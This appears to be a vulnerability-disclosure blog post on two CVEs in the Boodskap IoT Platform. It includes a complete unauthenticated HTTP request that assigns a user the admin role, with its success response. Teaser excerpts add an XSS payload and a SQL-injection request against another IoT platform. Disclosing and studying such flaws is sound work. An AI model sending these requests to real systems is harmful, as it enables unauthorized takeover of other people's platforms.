CVE-ID: CVE-2022-35135, CVE-2022-35136

CVE-2022-35136: Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests.

CVE-2022-35135: Boodskap IoT Platform v4.4.9-02 allows attackers to escalate privileges via a crafted request sent to /api/user/upsert/<uuid>. 

The platform successfully processes API requests even without valid cookies.For example, the following request to update user profile is processed, even though the request does not have any cookie/api key. (Cookie header is blank in the request) Since API requests to the platform are not authenticated, a user can assign themselves an admin role, by sending a request to http://192.168.72.157/api/user/upsert/<userid> endpoint.

HTTP Request:

POST /api/user/upsert/8c34fa03-706a-4dc7-b484-cd8e0c329c81 HTTP/1.1
Host: 192.168.72.157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 311
Connection: close
Cookie: 

{"domainKey":"FEWYGEJDHT","email":"rohan@rohan.com","firstName":"rohan","lastName":"rohan","primaryPhone":"+1999999999","locale":"en-US","timezone":"GMT","workStart":8,"workEnd":18,"workDays":[2,3,4,5,6],"roles":["admin"],"registeredStamp":1655919859740,"password":" "}

HTTP Response:

HTTP/1.1 200 OK
Server: nginx/1.19.7
Date: Thu, 30 Jun 2022 18:11:22 GMT
Content-Type: application/json
Content-Length: 18
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Authorization,Accept,Origin,DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Content-Range,Range
Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE,PATCH
Host: 192.168.72.157
X-Real-IP: 192.168.72.1
X-Forwarded-For: 192.168.72.1
X-NginX-Proxy: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: 

{"code":"SUCCESS"}

Popular posts from this blog

CVE-ID: CVE-2022-35134

Image
  Boodskap  IoT Platform v4.4.9-02 contains a cross-site scripting (XSS)  vulnerability. The application does not enforce input validation and output sanitization in multiple functionalities.  Example 1: domain name can be set to <script>alert(1)</script> Example 2: A lower privilege user can change their name to include a XSS payload, and target the admin user References: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Read more

CVE-ID: CVE-2022-34022

Image
SQL injection vulnerability in ResIOT IOT Platform + LoRaWAN Network Server through 4.1.1000114 via a crafted POST request to /ResiotQueryDBActive. An admin user can execute arbitrary SQL commands and can even dump DB content. Since this endpoint is vulnerable to CSRF, an attacker can abuse CSRF in conjunction with this to execute arbitrary SQL queries on the DB. HTTP Request: POST /ResiotQueryDBActive/ HTTP/1.1 Host:  172.20.32.1:8088 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form- urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 159 Origin:  http://172.20.32.1:8088 Connection: close Referer:  http://172.20.32.1:8088/Login/ Cookie: isMobile=false; login=1; pw= 4617e3d2c7ca44273258ee9c706806 b6 query= <SQL_QUERY_HERE> The following information was retrieved from a SQLMap scan on my loc...
Read more